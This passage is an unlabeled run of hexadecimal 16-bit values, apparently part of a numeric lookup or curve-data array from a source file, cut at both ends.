0x1AD3,\n 0x1AC9, 0x1ACD, 0x1ADE, 0x1AF4, 0x1B0E, 0x1B2A, 0x1B48, 0x1B68,\n 0x1B88, 0x1BA7, 0x1BC6, 0x1BE2, 0x1BFB, 0x1C10, 0x1C21, 0x1C2C,\n 0x1C31, 0x1C31, 0x1C2F, 0x1C2B, 0x1C25, 0x1C1E, 0x1C15, 0x1C0B,\n 0x1BFF, 0x1BF3, 0x1BE5, 0x1BD7, 0x1BC8, 0x1BB9, 0x1BA9, 0x1B9A,\n 0x1B8A, 0x1B7B, 0x1B6C, 0x1B5D, 0x1B4F, 0x1B42, 0x1B36, 0x1B2B,\n 0x1B21, 0x1B19, 0x1B12, 0x1B0D, 0x1B0A, 0x1B09, 0x1144, 0x1152,\n 0x1176, 0x11A3, 0x11D1, 0x11F5, 0x1204, 0x1203, 0x11FE, 0x11F6,\n 0x11EB, 0x11DE, 0x11CE, 0x11BD, 0x11AA, 0x1195, 0x1180, 0x116A,\n 0x1153, 0x1138, 0x1114, 0x10EB, 0x10C0, 0x1095, 0x106F, 0x104D,\n 0x102C, 0x100D, 0x0FED, 0x0FCD, 0x0FAC, 0x0F8B, 0x0F6C, 0x0F4D,\n 0x0F2B, 0x0F03, 0x0ED4, 0x0E8C, 0x0E2E, 0x0DD8, 0x0DA4, 0x0D96,\n 0x0DA1, 0x0DC7, 0x0E0B, 0x0E70, 0x0EEE, 0x0F7A, 0x1008, 0x108B,\n 0x10F9, 0x1144, 0x1161, 0x1155, 0x1130, 0x1103, 0x10DE, 0x10D2,\n 0x10EE, 0x1144, 0x1260, 0x143A, 0x1601, 0x16E6, 0x16A5, 0x15C2,\n 0x1499, 0x1388, 0x12EA, 0x12A9, 0x126F, 0x123C, 0x1210, 0x11EA,\n 0x11CC, 0x11B4, 0x11A4, 0x119A, 0x1197, 0x119B, 0x11A5, 0x11B6,\n 0x11CE, 0x124A, 0x133D, 0x143B, 0x14D5, 0x14B9, 0x142D, 0x13AA,\n 0x134E, 0x12ED, 0x128E, 0x1238, 0x11F3, 0x11C5, 0x11A7, 0x118D,\n 0x1176, 0x1163, 0x1152, 0x1144, 0x1138, 0x112E, 0x1126, 0x1120,\n 0x111B, 0x1117, 0x1113, 0x1110, 0x110D, 0x110B, 0x1109, 0x1108,\n 0x1107, 0x1107, 0x1108, 0x1109, 0x110B, 0x110D, 0x1110, 0x1112,\n 0x1116, 0x1119, 0x111C, 0x1120, 0x1124, 0x1127, 0x112B, 0x112F,\n 0x1132, 0x1135, 0x1138, 0x113B, 0x113E, 0x1140, 0x1142, 0x1143,\n 0x1144, 0x1144, 0xAC44, 0xAC2A, 0xABEC, 0xAB9F, 0xAB58, 0xAB2D,\n 0xAB33, 0xAB61, 0xAB9C, 0xABE3, 0xAC33, 0xAC8A, 0xACE6, 0xAD44,\n 0xADA2, 0xADFE, 0xAE57, 0xAEA8, 0xAEF1, 0xAF31, 0xAF69, 0xAF99,\n 0xAFC1, 0xAFE0, 0xAFF7, 0xB008, 0xB015, 0xB01A, 0xB012, 0xAFFB,\n 0xAFD0, 0xAF7D, 0xAF02, 0xAE76, 0xADF4, 0xAD93, 0xAD6D, 0xADB7,\n 0xAE67, 0xAF30, 0xAFC6, 0xB02C, 0xB082, 0xB0AA, 0xB088, 0xB018,\n 0xAF7A, 0xAEC0, 0xADFD, 0xAD45, 0xACAC, 0xAC44, 0xAC21, 0xAC3B,\n 0xAC77, 0xACBD, 0xACF4, 0xAD03, 0xACD0, 0xAC44, 0xAA78, 0xA779,\n 0xA49A, 0xA32C, 0xA3A0, 0xA51F, 0xA70E, 0xA8D6, 0xA9DB, 0xAA46,\n 0xAAA5, 0xAAF7, 0xAB3E, 0xAB78, 0xABA7, 0xABCB, 0xABE3, 0xABF0,\n 0xABF3, 0xABEB, 0xABD9, 0xABBC, 0xAB96, 0xAAE4, 0xA981, 0xA7F6,\n 0xA6CE, 0xA625, 0xA5D9, 0xA613, 0xA6CD, 0xA7CE, 0xA8F1, 0xAA0E,\n 0xAB00, 0xABA1, 0xAC08, 0xAC68, 0xACC0, 0xAD12, 0xAD5D, 0xADA1,\n 0xADDD, 0xAE13, 0xAE43, 0xAE6B, 0xAE8D, 0xAEA7, 0xAEBC, 0xAEC9,\n 0xAED0, 0xAED1, 0xAECE, 0xAEC6, 0xAEB9, 0xAEA9, 0xAE96, 0xAE7F,\n 0xAE66, 0xAE4B, 0xAE2D, 0xAE0E, 0xADED, 0xADCB, 0xADA9, 0xAD86,\n 0xAD64, 0xAD41, 0xAD20, 0xACFF, 0xACE1, 0xACC3, 0xACA8, 0xAC90,\n 0xAC7A, 0xAC67, 0xAC58, 0xAC4D, 0xAC46, 0xAC44, 0x0000, 0xFFD2,\n 0xFF5B, 0xFEBD, 0xFE16, 0xFD87, 0xFD31, 0xFD0D, 0xFCFF, 0xFD02,\n 0xFD11, 0xFD27, 0xFD3F, 0xFD53, 0xFD60, 0xFD66, 0xFD6B, 0xFD6F,\n 0xFD72, 0xFD74, 0xFD77, 0xFD78, 0xFD7A, 0xFD7C, 0xFD7F, 0xFD82,\n 0xFD85, 0xFD8A, 0xFD90, 0xFD96, 0xFD9F, 0xFDA9, 0xFDB5, 0xFDC3,\n 0xFDD3, 0xFDE5, 0xFDFA, 0xFE1E, 0xFE57, 0xFEA0, 0xFEF1, 0xFF44,\n 0xFF91, 0xFFD2, 0x0000, 0x0019, 0x0023, 0x0021, 0x0019, 0x000E,\n 0x0004, 0x0000, 0x0006, 0x0016, 0x002A, 0x003C, 0x0047, 0x0044,\n 0x002E, 0x0000, 0xFF6C, 0xFE75, 0xFD8D, 0xFD26, 0xFD6C, 0xFE15,\n 0xFEE4, 0xFF9C, 0x0000, 0x0020, 0x0037, 0x0045, 0x004C, 0x004C,\n 0x0047, 0x003E, 0x0033, 0x0026, 0x0019, 0x000E, 0x0005, 0x0000,\n 0x0000, 0x0005, 0x000E, 0x0019, 0x0025, 0x002F, 0x0036, 0x0039,\n 0x0035, 0x002B, 0x001D, 0x0010, 0x0005, 0x0000, 0xFFFF, 0xFFFE,\n 0xFFFD, 0xFFFD, 0xFFFC, 0xFFFB, 0xFFFB, 0xFFFA, 0xFFFA, 0xFFFA,\n 0xFFF9, 0xFFF9, 0xFFF9, 0xFFF9, 0xFFF9, 0xFFF9, 0xFFF9, 0xFFF9,\n 0xFFF9, 0xFFFA, 0xFFFA, 0xFFFA, 0xFFFA, 0xFFFB, 0xFFFB, 0xFFFB,\n 0xFFFC, 0xFFFC, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFE, 0xFFFE, 0xFFFE,\n 0xFFFF, 0xFFFF, 0xFFFF, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,\n 0x0000, 0x0000, 0x0000, 0xFFF1, 0xFFCB, 0xFF98, 0xFF63, 0xFF35,\n 0xFF1A, 0xFF10, 0xFF0D, 0xFF0F, 0xFF15, 0xFF1E, 0xFF28, 0xFF32,\n 0xFF39, 0xFF3F, 0xFF46, 0xFF4C, 0xFF53, 0xFF5A, 0xFF60, 0xFF67,\n 0xFF6E, 0xFF76, 0xFF7D, 0xFF84, 0xFF8B, 0xFF92, 0xFF9A, 0xFFA1,\n 0xFFA8, 0xFFAF, 0xFFB6, 0xFFBD, 0xFFC4, 0xFFCB, 0xFFD2, 0xFFD8,\n 0xFFDF, 0xFFE6, 0xFFED, 0xFFF3, 0xFFF8, 0xFFFD, 0x0000, 0x0002,\n 0x0003, 0x0003, 0x0002, 0x0001, 0x0000, 0x0000, 0x0000, 0x0000,\n 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0xFFFF, 0xFFFD,\n 0xFFFA, 0xFFF9, 0xFFFA, 0xFFFC, 0xFFFE, 0xFFFF, 0x0000, 0x0001,\n 0x0004, 0x0008, 0x000D, 0x0012, 0x0016, 0x001B, 0x001E, 0x001F,\n 0x001F, 0x001C, 0x0016, 0x000D, 0x0000, 0xFFE4, 0xFFB2, 0xFF75,\n 0xFF36, 0xFEFD, 0xFED4, 0xFEC4, 0xFEDB, 0xFF13, 0xFF5E, 0xFFA9,\n 0xFFE5, 0x0000, 0x0006, 0x000B, 0x0010, 0x0014, 0x0018, 0x001C,\n 0x001F, 0x0021, 0x0024, 0x0025, 0x0027, 0x0028, 0x0028, 0x0029,\n 0x0029, 0x0029, 0x0028, 0x0027, 0x0026, 0x0025, 0x0024, 0x0022,\n 0x0021, 0x001F, 0x001D, 0x001B, 0x0019, 0x0017, 0x0015, 0x0013,\n 0x0011, 0x000F, 0x000D, 0x000B, 0x0009, 0x0007, 0x0005, 0x0004,\n 0x0003, 0x0002, 0x0001, 0x0000, 0x0000, 0x0000, 0xBF40, 0xBF46,\n 0xBF56, 0xBF6C, 0xBF84, 0xBF9A, 0xBFA9, 0xBFAF, 0xBFAD, 0xBFA6,\n 0xBFA0, 0xBF9F, 0xBFA6, 0xBFBB, 0xBFE1, 0xC014, 0xC04C, 0xC088,\n 0xC0C7, 0xC10A, 0xC150, 0xC197, 0xC1E1, 0xC22B, 0xC275, 0xC2C0,\n 0xC30A, 0xC353, 0xC39A, 0xC3DF, 0xC421, 0xC45F, 0xC49A, 0xC4D1,\n 0xC502, 0xC52E, 0xC554, 0xC56B, 0xC56B, 0xC556, 0xC52D, 0xC4F4,\n 0xC4AB, 0xC454, 0xC3F2, 0xC36D, 0xC2BB, 0xC1EE, 0xC11C, 0xC056,\n 0xBFB1, 0xBF40, 0xBF0D, 0xBF0A, 0xBF26, 0xBF50, 0xBF78, 0xBF8E,\n 0xBF81, 0xBF40, 0xBE66, 0xBCFB, 0xBB94, 0xBAC5, 0xBAB9, 0xBB13,\n 0xBB9D, 0xBC22, 0xBC6F, 0xBC95, 0xBCC5, 0xBCFC, 0xBD37, 0xBD71,\n 0xBDA7, 0xBDD6, 0xBDF9, 0xBE0D, 0xBE0E, 0xBDF9, 0xBDCA, 0xBD7D,\n 0xBD0F, 0xBC11, 0xBA52, 0xB826, 0xB5E3, 0xB3DF, 0xB26F, 0xB1EA,\n 0xB2C7, 0xB4E1, 0xB79E, 0xBA65, 0xBC9B, 0xBDA8, 0xBDEA, 0xBE27,\n 0xBE5F, 0xBE93, 0xBEC3, 0xBEEE, 0xBF16, 0xBF39, 0xBF59, 0xBF75,\n 0xBF8E, 0xBFA4, 0xBFB6, 0xBFC6, 0xBFD3, 0xBFDD, 0xBFE5, 0xBFEA,\n 0xBFED, 0xBFEF, 0xBFEE, 0xBFEC, 0xBFE8, 0xBFE3, 0xBFDC, 0xBFD4,\n 0xBFCC, 0xBFC2, 0xBFB8, 0xBFAE, 0xBFA3, 0xBF98, 0xBF8D, 0xBF83,\n 0xBF78, 0xBF6E, 0xBF65, 0xBF5C, 0xBF54, 0xBF4D, 0xBF48, 0xBF44,\n 0xBF41, 0xBF40, 0x2537, 0x253F, 0x2554, 0x256E, 0x2588, 0x259A,\n 0x259F, 0x259C, 0x259A, 0x2597, 0x258E, 0x257D, 0x2560, 0x2534,\n 0x24F7, 0x24AD, 0x245D, 0x2409, 0x23B0, 0x2354, 0x22F4, 0x2293,\n 0x222F, 0x21CA, 0x2165, 0x20FF, 0x209A, 0x2036, 0x1FD3, 0x1F73,\n 0x1F16, 0x1EBB, 0x1E65, 0x1E14, 0x1DC7, 0x1D80, 0x1D40, 0x1D08,\n 0x1CDE, 0x1CC5, 0x1CC1, 0x1CD5, 0x1D06, 0x1D57, 0x1DCC, 0x1E8A,\n 0x1F9B, 0x20DF, 0x2233, 0x2375, 0x2481, 0x2537, 0x2573, 0x2549,\n 0x24E3, 0x246B, 0x240D, 0x23F3, 0x2448, 0x2537, 0x283E, 0x2D4B,\n 0x322C, 0x34B2, 0x3428, 0x31F1, 0x2F01, 0x2C49, 0x2ABE, 0x2A19,\n 0x2979, 0x28DF, 0x2851, 0x27D2, 0x2765, 0x2710, 0x26D5, 0x26B8,\n 0x26BE, 0x26EB, 0x2741, 0x27C6, 0x287D, 0x2A2C, 0x2D33, 0x30FB,\n 0x34EE, 0x3875, 0x3AF9, 0x3BE3, 0x3A62, 0x36B8, 0x31F3, 0x2D1E,\n 0x2945, 0x2774, 0x2704, 0x269D, 0x263D, 0x25E6, 0x2597, 0x254F,\n 0x250E, 0x24D4, 0x24A0, 0x2473, 0x244C, 0x242A, 0x240E, 0x23F7,\n 0x23E5, 0x23D7, 0x23CE, 0x23C9, 0x23C7, 0x23C9, 0x23CE, 0x23D7,\n 0x23E1, 0x23EE, 0x23FE, 0x240F, 0x2421, 0x2435, 0x244A, 0x245F,\n 0x2475, 0x248B, 0x24A1, 0x24B6, 0x24CB, 0x24DE, 0x24F1, 0x2502,\n 0x2511, 0x251E, 0x2528, 0x2530, 0x2535, 0x2537, 0xD64A, 0xD655,\n 0xD66E, 0xD68C, 0xD6A6, 0xD6B1, 0xD6A3, 0xD67C, 0xD644, 0xD601,\n 0xD5B7, 0xD56B, 0xD524, 0xD4E5, 0xD4B5, 0xD497, 0xD488, 0xD483,\n 0xD483, 0xD481, 0xD479, 0xD467, 0xD44F, 0xD434, 0xD41C, 0xD40A,\n 0xD404, 0xD40D, 0xD426, 0xD449, 0xD475, 0xD4A7, 0xD4DC, 0xD512,\n 0xD546, 0xD576, 0xD59E, 0xD5BE, 0xD5D5, 0xD5E1, 0xD5E4, 0xD5D2,\n 0xD5AF, 0xD590, 0xD587, 0xD597, 0xD5B2, 0xD5D4, 0xD5F8, 0xD61A,\n 0xD637, 0xD64A, 0xD644, 0xD622, 0xD5F2, 0xD5C4, 0xD5A7, 0xD5AA,\n 0xD5DB, 0xD64A, 0xD7AC, 0xD9F9, 0xDC27, 0xDD2C, 0xDCA8, 0xDB46,\n 0xD98B, 0xD7FC, 0xD71E, 0xD6CB, 0xD686, 0xD64D, 0xD620, 0xD5FE,\n 0xD5E8, 0xD5DD, 0xD5DB, 0xD5E4, 0xD5F5, 0xD60F, 0xD632, 0xD65C,\n 0xD68E, 0xD6FB, 0xD7BE, 0xD8B3, 0xD9B2, 0xDA97, 0xDB3B, 0xDB78,\n 0xDB23, 0xDA4E, 0xD932, 0xD808, 0xD709, 0xD66E, 0xD61B, 0xD5D1,\n 0xD58F, 0xD555, 0xD522, 0xD4F6, 0xD4D1, 0xD4B1, 0xD497, 0xD482,\n 0xD471, 0xD465, 0xD45D, 0xD458, 0xD456, 0xD457, 0xD45B, 0xD463,\n 0xD46D, 0xD47A, 0xD48A, 0xD49C, 0xD4AF, 0xD4C5, 0xD4DC, 0xD4F4,\n 0xD50C, 0xD526, 0xD540, 0xD55A, 0xD574, 0xD58E, 0xD5A7, 0xD5BF,\n 0xD5D6, 0xD5EC, 0xD600, 0xD612, 0xD622, 0xD630, 0xD63B, 0xD643,\n 0xD648, 0xD64A, 0xEC41, 0xEC31, 0xEC09, 0xEBD2, 0xEB97, 0xEB5F,\n 0xEB36, 0xEB17, 0xEAF8, 0xEADA, 0xEABF, 0xEAA9, 0xEA9A, 0xEA92,\n 0xEA95, 0xEAAA, 0xEAD4, 0xEB0A, 0xEB45, 0xEB7B, 0xEBA5, 0xEBC3,\n 0xEBDD, 0xEBF3, 0xEC08, 0xEC1B, 0xEC2E, 0xEC42, 0xEC55, 0xEC67,\n 0xEC77, 0xEC87, 0xEC98, 0xECAA, 0xECC0, 0xECD9, 0xECF7, 0xED24,\n 0xED63, 0xEDA9, 0xEDEC, 0xEE3C, 0xEE99, 0xEEDE, 0xEEE3, 0xEEA7,\n 0xEE48, 0xEDD5, 0xED5A, 0xECE4, 0xEC82, 0xEC41, 0xEC33, 0xEC55,\n 0xEC90, 0xECCF, 0xECFD, 0xED03, 0xECCB, 0xEC41, 0xEA84, 0xE79F,\n 0xE4D8, 0xE377, 0xE3E8, 0xE55D, 0xE73F, 0xE8F8, 0xE9F2, 0xEA58,\n 0xEAB6, 0xEB0C, 0xEB59, 0xEB9B, 0xEBD1, 0xEBFA, 0xEC14, 0xEC1F,\n 0xEC18, 0xEBFF, 0xEBD2, 0xEB91, 0xEB39, 0xEA6A, 0xE8F3, 0xE71E,\n 0xE533, 0xE37D, 0xE243, 0xE1CF, 0xE27D, 0xE428, 0xE65C, 0xE8A4,\n 0xEA8B, 0xEB9C, 0xEC0E, 0xEC65, 0xECA3, 0xECCC, 0xECE3, 0xECEB,\n 0xECE6, 0xECD7, 0xECC1, 0xECA7, 0xEC8C, 0xEC73, 0xEC5F, 0xEC52,\n 0xEC50, 0xEC53, 0xEC56, 0xEC58, 0xEC5A, 0xEC5B, 0xEC5C, 0xEC5D,\n 0xEC5D, 0xEC5C, 0xEC5C, 0xEC5B, 0xEC5A, 0xEC58, 0xEC57, 0xEC55,\n 0xEC53, 0xEC51, 0xEC4F, 0xEC4D, 0xEC4B, 0xEC4A, 0xEC48, 0xEC46,\n 0xEC45, 0xEC43, 0xEC42, 0xEC41, 0xEC41, 0xEC41, 0xB59E, 0xB58E,\n 0xB567, 0xB536, 0xB507, 0xB4E7, 0xB4E4, 0xB4FA, 0xB51E, 0xB54B,\n 0xB581, 0xB5BC, 0xB5F9, 0xB635, 0xB66E, 0xB6A9, 0xB6EA, 0xB72E,\n 0xB770, 0xB7AD, 0xB7E0, 0xB813, 0xB84B, 0xB881, 0xB8AF, 0xB8CD,\n 0xB8D5, 0xB8C0, 0xB889, 0xB836, 0xB7CF, 0xB75B, 0xB6E3, 0xB670,\n 0xB60A, 0xB5B8, 0xB584, 0xB59E, 0xB60D, 0xB693, 0xB6F5, 0xB72C,\n 0xB756, 0xB769, 0xB75D, 0xB731, 0xB6F0, 0xB6A4, 0xB654, 0xB608,\n 0xB5C9, 0xB59E, 0xB598, 0xB5B6, 0xB5E7, 0xB619, 0xB63C, 0xB63F,\n 0xB610, 0xB59E, 0xB433, 0xB1D5, 0xAF91, 0xAE75, 0xAEDB, 0xB018,\n 0xB1AF, 0xB323, 0xB3F5, 0xB44A, 0xB49A, 0xB4E3, 0xB524, 0xB55B,\n 0xB589, 0xB5AB, 0xB5C0, 0xB5C8, 0xB5C1, 0xB5AA, 0xB582, 0xB547,\n 0xB4FA, 0xB443, 0xB2FC, 0xB162, 0xAFB5, 0xAE36, 0xAD23, 0xACBD,\n 0xAD4D, 0xAEB2, 0xB08E, 0xB283, 0xB433, 0xB53E, 0xB5D1, 0xB656,\n 0xB6D0, 0xB73D, 0xB79F, 0xB7F6, 0xB841, 0xB883, 0xB8BB, 0xB8E9,\n 0xB90E, 0xB92B, 0xB940, 0xB94C, 0xB952, 0xB951, 0xB949, 0xB93B,\n 0xB927, 0xB90F, 0xB8F1, 0xB8D0, 0xB8AB, 0xB882, 0xB857, 0xB82A,\n 0xB7FB, 0xB7CA, 0xB799, 0xB767, 0xB736, 0xB705, 0xB6D6, 0xB6A8,\n 0xB67C, 0xB652, 0xB62C, 0xB609, 0xB5EB, 0xB5D0, 0xB5BB, 0xB5AB,\n 0xB5A2, 0xB59E, 0x8001, 0x8001, 0x4171, 0xBF5F, 0x8001, 0x8001,\n 0x4171, 0xBF5F, 0x0000, 0x000A, 0x0021, 0x003C, 0x0051, 0x0054,\n 0x003C, 0x0000, 0xFF13, 0xFDA4, 0xFCC4, 0xFC96, 0xFC83, 0xFC86,\n 0xFC99, 0xFCB6, 0xFCD7, 0xFCF7, 0xFD0E, 0xFD18, 0xFD26, 0xFD47,\n 0xFD78, 0xFDB1, 0xFDEE, 0xFE28, 0xFE59, 0xFE7C, 0xFE8B, 0xFE81,\n 0xFE57, 0xFE07, 0xFD8C, 0xFCE1, 0xFBE4, 0xFA86, 0xF8DB, 0xF6F6,\n 0xF4EB, 0xF2CD, 0xF0AF, 0xEEA6, 0xECC4, 0xEB1D, 0xE9C5, 0xE946,\n 0xE9C1, 0xEAA4, 0xEB60, 0xEC06, 0xECAF, 0xECEF, 0xED2A, 0xED70,\n 0xEDB4, 0xEDE7, 0xEDF9, 0xEDDC, 0xED82, 0xECDC, 0xEB0D, 0xE801,\n 0xE4D7, 0xE2AC, 0xE173, 0xE0B1, 0xE0E1, 0xE281, 0xE58D, 0xE979,\n 0xEDEB, 0xF28E, 0xF70A, 0xFB09, 0xFE32, 0x007A, 0x022C, 0x0376,\n 0x0485, 0x0587, 0x06A9, 0x0818, 0x0A02, 0x0DFC, 0x1346, 0x168D,\n 0x178E, 0x1841, 0x18B2, 0x18E9, 0x18F1, 0x18D4, 0x189C, 0x1852,\n 0x1802, 0x17AA, 0x1744, 0x16D0, 0x164D, 0x15BE, 0x1522, 0x147A,\n 0x13C7, 0x1308, 0x123E, 0x116A, 0x108C, 0x0FA5, 0x0E86, 0x0D10,\n 0x0B56, 0x0970, 0x0771, 0x0533, 0x02A0, 0xFFE3, 0xFD24, 0xFA8E,\n 0xF84D, 0xF68A, 0xF571, 0xF4F4, 0xF4E2, 0xF526, 0xF5B0, 0xF66C,\n 0xF749, 0xF834, 0xF91B, 0xF9EC, 0xFA94, 0xFB35, 0xFBF0, 0xFCBA,\n 0xFD87, 0xFE4A, 0xFEF8, 0xFF83, 0xFFDF, 0x0000, 0x0000, 0xFFFF,\n 0xFFFC, 0xFFF9, 0xFFF7, 0xFFF6, 0xFFF9, 0x0000, 0x0017, 0x003E,\n 0x0063, 0x0085, 0x00AA, 0x00D1, 0x00F8, 0x011D, 0x013E, 0x015A,\n 0x016E, 0x0179, 0x017C, 0x017A, 0x0174, 0x016A, 0x015E, 0x014F,\n 0x013F, 0x012F, 0x011F, 0x0110, 0x0103, 0x00F8, 0x00F1, 0x00EE,\n 0x00FB, 0x011B, 0x0142, 0x0160, 0x016A, 0x0151, 0x011D, 0x00E1,\n 0x00AF, 0x009B, 0x00B8, 0x0156, 0x0262, 0x035A, 0x03BB, 0x0292,\n 0x00B6, 0x0010, 0xFFE0, 0xFFCD, 0xFFCF, 0xFFE0, 0xFFFA, 0x0014,\n 0x0029, 0x0031, 0x0035, 0x003A, 0x003B, 0x0031, 0x001A, 0xFFF9,\n 0xFFD3, 0xFFAE, 0xFF89, 0xFF60, 0xFF35, 0xFF0D, 0xFEE8, 0xFEC9,\n 0xFEB3, 0xFEBB, 0xFEE8, 0xFF27, 0xFF63, 0xFF89, 0xFF85, 0xFF45,\n 0xFEB3, 0xFC5B, 0xF8AD, 0xF670, 0xF5F9, 0xF5BD, 0xF5B3, 0xF5D2,\n 0xF611, 0xF667, 0xF6CB, 0xF735, 0xF79B, 0xF808, 0xF88A, 0xF91D,\n 0xF9BB, 0xFA62, 0xFB0D, 0xFBB8, 0xFC5F, 0xFCFD, 0xFD8F, 0xFE10,\n 0xFE7D, 0xFED0, 0xFEBD, 0xFE2D, 0xFD6A, 0xFCC1, 0xFC7C, 0xFC97,\n 0xFCD6, 0xFD30, 0xFD99, 0xFE0A, 0xFE78, 0xFEDA, 0xFF26, 0xFF63,\n 0xFF9E, 0xFFD6, 0x000A, 0x003B, 0x0066, 0x008C, 0x00AB, 0x00C3,\n 0x00D3, 0x00D5, 0x00C6, 0x00AB, 0x0089, 0x0063, 0x003E, 0x001E,\n 0x0008, 0x0000, 0xFC62, 0xFCCC, 0xFDEA, 0xFF8C, 0x017E, 0x0394,\n 0x059A, 0x0761, 0x08FE, 0x0AA2, 0x0C41, 0x0DF8, 0x0FDE, 0x11DC,\n 0x13DA, 0x15BF, 0x1773, 0x18DE, 0x19E8, 0x1A7A, 0x1AA1, 0x1A85,\n 0x1A30, 0x19AC, 0x1903, 0x183F, 0x176B, 0x1690, 0x15B9, 0x14F1,\n 0x1441, 0x13B3, 0x1352, 0x1328, 0x13E3, 0x15A7, 0x17B5, 0x194B,\n 0x19A9, 0x1890, 0x1688, 0x1401, 0x1169, 0x0F2D, 0x0DBD, 0x0DCD,\n 0x0F0D, 0x1061, 0x10AB, 0x0E41, 0x0AC7, 0x0990, 0x0932, 0x090C,\n 0x0910, 0x0932, 0x0963, 0x0997, 0x09C0, 0x09D1, 0x09F2, 0x0A29,\n 0x0A34, 0x09D1, 0x08FE, 0x07DA, 0x0651, 0x044D, 0x01B5, 0xFEA4,\n 0xFB58, 0xF810, 0xF50B, 0xF288, 0xF0C5, 0xEFA5, 0xEEDF, 0xEE6E,\n 0xEE4F, 0xEE7F, 0xEEFA, 0xEFBD, 0xF0C5, 0xF440, 0xF9CB, 0xFD84,\n 0xFEEB, 0x0015, 0x0109, 0x01C8, 0x0258, 0x02BD, 0x02FA, 0x0315,\n 0x030F, 0x02D8, 0x0261, 0x01B9, 0x00EC, 0x0008, 0xFF1A, 0xFE2F,\n 0xFD55, 0xFC98, 0xFC07, 0xFBAE, 0xFB9A, 0xFBDA, 0xFDA9, 0x015C,\n 0x05A6, 0x0938, 0x0AC5, 0x0A50, 0x08EE, 0x06E8, 0x0486, 0x0213,\n 0xFFD8, 0xFE1C, 0xFD28, 0xFCEE, 0xFD1F, 0xFDA2, 0xFE60, 0xFF40,\n 0x002A, 0x0109, 0x01C2, 0x023F, 0x0267, 0x022A, 0x0198, 0x00C9,\n 0xFFD8, 0xFEDA, 0xFDEB, 0xFD21, 0xFC96, 0xFC62, 0x0000, 0x0000,\n 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,\n 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,\n 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,\n 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,\n 0x0000, 0x0000, 0x0013, 0x003F, 0x0072, 0x0098, 0x009E, 0x0072,\n 0x0000, 0xFF48, 0xFE5C, 0xFD48, 0xFC19, 0xFAD9, 0xF994, 0xF856,\n 0xF72B, 0xF694, 0xF686, 0xF666, 0xF63F, 0xF61B, 0xF606, 0xF60C,\n 0xF637, 0xF694, 0xF75B, 0xF8A8, 0xFA54, 0xFC38, 0xFEB5, 0x01BA,\n 0x047C, 0x062A, 0x06E6, 0x075C, 0x078F, 0x077E, 0x072D, 0x069D,\n 0x05CE, 0x04C1, 0x037C, 0x0209, 0x0073, 0xFEC7, 0xFD0E, 0xFB54,\n 0xF9A4, 0xF809, 0xF68E, 0xF53F, 0xF466, 0xF446, 0xF4E0, 0xF680,\n 0xF8DB, 0xFB13, 0xFD1C, 0xFF02, 0x000B, 0x0060, 0x00A4, 0x00D9,\n 0x0100, 0x011B, 0x012B, 0x0132, 0x0131, 0x012A, 0x011F, 0x0110,\n 0x00FF, 0x00EE, 0x00B3, 0x003A, 0xFFAC, 0xFF2D, 0xFEE5, 0xFEC9,\n 0xFEB4, 0xFEA6, 0xFE9D, 0xFE9A, 0xFE9B, 0xFEA0, 0xFEA7, 0xFEB1,\n 0xFEBB, 0xFEC7, 0xFED2, 0xFEE2, 0xFEF9, 0xFF15, 0xFF36, 0xFF58,\n 0xFF7A, 0xFF9B, 0xFFB7, 0xFFCF, 0xFFE1, 0xFFEE, 0xFFF7, 0xFFFD,\n 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,\n 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,\n 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,\n 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000,\n 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0008, 0x001D,\n 0x0034, 0x0046, 0x0049, 0x0034, 0x0000, 0xFFAB, 0xFF3E, 0xFEBE,\n 0xFE32, 0xFD9E, 0xFD07, 0xFC74, 0xFBEA, 0xFBA4, 0xFB8D, 0xFB57,\n 0xFB14, 0xFAD7, 0xFAB4, 0xFABD, 0xFB07, 0xFBA4, 0xFDD1, 0x0170,\n 0x0490, 0x0539, 0x01A5, 0xFB4B, 0xF511, 0xF1E2, 0xF1FA, 0xF35A,\n 0xF58E, 0xF821, 0xFAA0, 0xFC97, 0xFD92, 0xFDC9, 0xFDC6, 0xFD8F,\n 0xFD2C, 0xFCA4, 0xFBFF, 0xFB45, 0xFA7C, 0xF9AC, 0xF8DC, 0xF814,\n 0xF658, 0xF3FC, 0xF2F8, 0xF475, 0xF74C, 0xFA03, 0xFC7F, 0xFEDC,\n 0xFFF3, 0xFFF4, 0xFFD3, 0xFF95, 0xFF40, 0xFED7, 0xFE60, 0xFDE0,\n 0xFD5C, 0xFCD9, 0xFC5C, 0xFBE9, 0xFB86, 0xFB37, 0xFB07, 0xFAF6,\n 0xFAFF, 0xFB1A, 0xFB41, 0xFB6D, 0xFBA0, 0xFBD7, 0xFC12, 0xFC50,\n 0xFC8F, 0xFCD0, 0xFD10, 0xFD4F, 0xFD8C, 0xFDC6, 0xFDFB, 0xFE2D,\n 0xFE5D, 0xFE8A, 0xFEB6, 0xFEDF, 0xFF07, 0xFF2D, 0xFF51, 0xFF75,\n 0xFF97, 0xFFB7, 0xFFD4, 0xFFEC, 0xFFFB, 0x0000, 0x0884, 0x0872,\n 0x0848, 0x0818, 0x07F5, 0x07EF, 0x0818, 0x0884, 0x0ABF, 0x0DDD,\n 0x0E38, 0x0AE4, 0x05FB, 0x005F, 0xFAF3, 0xF697, 0xF3A6, 0xF197,\n 0xF000, 0xEE71, 0xECBA, 0xEB1B, 0xE9D5, 0xE925, 0xE96C, 0xEA6B,\n 0xEB7F, 0xEC00, 0xEB09, 0xE932, 0xE80C, 0xE925, 0xEEC9, 0xF781,\n 0xFF42, 0x01FF, 0xFF3E, 0xF9E5, 0xF300, 0xEB9C, 0xE4C5, 0xDF86,\n 0xDCEC, 0xDCCC, 0xDE11, 0xE070, 0xE399, 0xE73E, 0xEB12, 0xEEC6,\n 0xF20C, 0xF38B, 0xF370, 0xF32F, 0xF2DF, 